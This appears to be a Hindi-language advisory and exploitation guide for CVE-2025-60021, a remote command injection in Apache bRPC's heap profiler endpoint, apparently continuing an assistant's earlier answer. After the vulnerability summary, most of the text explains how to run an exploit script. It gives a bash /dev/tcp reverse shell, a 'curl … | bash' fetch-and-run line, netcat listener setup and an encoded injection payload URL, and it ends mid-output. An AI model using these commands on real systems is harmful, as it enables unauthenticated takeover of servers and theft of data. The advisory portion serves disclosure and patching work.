
CVE-2025-60021

CVE-2025-60021 Apache bRPC के 1.15.0 से पहले के संस्करणों में हीप प्रोफाइलर बिल्ट-इन सेवा (/pprof/heap) में पाई जाने वाली एक गंभीर रिमोट कमांड इंजेक्शन भेद्यता है, जो बिना प्रमाणीकरण वाले हमलावरों को मनमाने OS कमांड चलाने की अनुमति देती है। ([NVD][1])
| विशेषता | जानकारी |
|---|---|
| नाम / आईडी | CVE-2025-60021 |
| उत्पाद | Apache bRPC (सभी प्लेटफ़ॉर्म) |
| प्रभावित संस्करण | < 1.15.0 |
| प्रकाशन तिथि | 16 Jan 2026 ([NVD][1]) |
| भेद्यता प्रकार | रिमोट कमांड इंजेक्शन (CWE-77) ([NVD][1]) |
| एंडपॉइंट | /pprof/heap |
| ट्रिगर | अस्वच्छित extra_options पैरामीटर |
| मूल कारण | OS कमांड के रूप में निष्पादित करने से पहले इनपुट मान्य नहीं किया जाता ([openwall.com][2]) |
❗हमलावर केवल इस प्रोफाइलिंग पैरामीटर में हेरफेर करके दूरस्थ रूप से कमांड इंजेक्ट कर सकते हैं।
🔥 गंभीरता रेटिंग: क्रिटिकल
📊 CVSS v3.1 बेस स्कोर: 9.8 / 10
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| प्रभाव श्रेणी | प्रभाव | |
|---|---|---|
| गोपनीयता | उच्च | |
| अखंडता | उच्च | |
| उपलब्धता | उच्च | |
| हमला वेक्टर | नेटवर्क | |
| विशेषाधिकार | कोई आवश्यक नहीं | |
| उपयोगकर्ता सहभागिता | कोई आवश्यक नहीं | ([INCIBE][3]) |
👉 इसका मतलब है कि हमलावर बिना लॉगिन के दूरस्थ रूप से मनमाने कमांड निष्पादित कर सकते हैं — उजागर सेवाओं के लिए सबसे खराब स्थिति।
/pprof/heap) उजागर करता है। ([openwall.com][2])extra_options पैरामीटर स्वीकार करता है। इसे सैनिटाइज़ करने के बजाय, bRPC इसे सीधे OS शेल को पास करता है। ([openwall.com][2])यह मानता है कि आपके पास स्क्रिप्ट CVE-2025-60021.py के रूप में सहेजी गई है (भले ही असली CVE 2025-60021 है—आप इसे नाम बदलने के लिए स्वतंत्र हैं)। यह Apache bRPC के हीप प्रोफाइलर में रिमोट कमांड इंजेक्शन भेद्यता प्रदर्शित करने के लिए एक Python 3 स्क्रिप्ट है। इसे केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है—अनधिकृत शोषण अवैध है।
Python वातावरण: सुनिश्चित करें कि आपके पास Python 3 स्थापित है (जैसे, 3.6+)। स्क्रिप्ट बिल्ट-इन मॉड्यूल के साथ-साथ requests और argparse का उपयोग करती है (जो मानक हैं या स्थापित करने में आसान हैं)।
निर्भरताएँ स्थापित करें: यदि पहले से मौजूद नहीं हैं, तो requests लाइब्रेरी स्थापित करें:
pip install requests
लक्ष्य सेटअप: आपको एक भेद्य Apache bRPC सर्वर की आवश्यकता है:
http://localhost:8060 या एक रिमोट IP/पोर्ट)।
स्थानीय रूप से परीक्षण करते समय, एक भेद्य bRPC इंस्टेंस सेट करें (जैसे, Docker या सोर्स बिल्ड के माध्यम से—Apache bRPC दस्तावेज़ देखें)।अनुमतियाँ: केवल नेटवर्क एक्सेस या विशेषाधिकारों के लिए आवश्यक होने पर sudo के साथ चलाएँ; अन्यथा, सादा python3 पर्याप्त है।
मैंने पहले जो PoC कोड दिया था उसे CVE-2025-60021.py नामक फ़ाइल में कॉपी करें। चाहें तो इसे निष्पादन योग्य बनाएँ:
chmod +x CVE-2025-60021.py
स्क्रिप्ट दो आवश्यक स्थितीय तर्क लेती है:
target: भेद्य bRPC सर्वर का URL (जैसे, http://192.168.1.100:8060 या http://targets:8060—स्कीम गायब या अमान्य होस्ट जैसी टाइपो त्रुटियाँ ठीक करें)।cmd: लक्ष्य पर निष्पादित करने के लिए कमांड (जैसे, उपयोगकर्ता जानकारी के लिए "id", या रिवर्स शेल के लिए "curl http://your-server/reverse-shell.sh | bash" जैसी अधिक जटिल चीज़)। कई कमांड जोड़ने के लिए && या ; का उपयोग करें।एक टर्मिनल खोलें (जैसे, Kali Linux में जैसा आप उपयोग कर रहे हैं) और इसे अपने लक्ष्य और कमांड के साथ निष्पादित करें। उदाहरण कमांड:
बुनियादी परीक्षण (सिस्टम जानकारी प्राप्त करें):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
रिवर्स शेल उदाहरण (your-listener-ip और पोर्ट बदलें; पहले nc -lvnp 4444 जैसा लिसनर सेट करें):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
यदि HTTPS या भिन्न पोर्ट का उपयोग कर रहे हैं, तो URL को तदनुसार समायोजित करें (जैसे, https://target:443—स्क्रिप्ट इसे संभालती है, लेकिन सर्टिफिकेट समस्या होने पर --insecure जोड़ें)।
सफलता संकेतक:
id चलाया तो uid=0(root)...)।विफलता संकेतक (जैसा आपने देखा):
--enable_heap_profiler=true) और सर्वर को पुनः प्रारंभ करें।cmd तर्क भूल गए—इसे हमेशा शामिल करें।echo "test" > /tmp/proof.txt) और लक्ष्य पर फ़ाइल की जाँच करें।; काम नहीं करता, तो जोड़ने के लिए && या | आज़माएँ। आवश्यकता होने पर विशेष वर्णों को URL-एन्कोड करें (स्क्रिप्ट अधिकांश को संभालती है)।/pprof/heap अक्षम करें।यदि शोषण किसी भेद्य लक्ष्य पर सफल रहा (जैसे, हीप प्रोफाइलर सक्षम, अनपैच किया हुआ bRPC <1.15.0), तो आपके टर्मिनल में आउटपुट कुछ इस प्रकार दिखेगा (सटीक विवरण कमांड के stdout और सर्वर कॉन्फ़िग पर निर्भर करता है):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):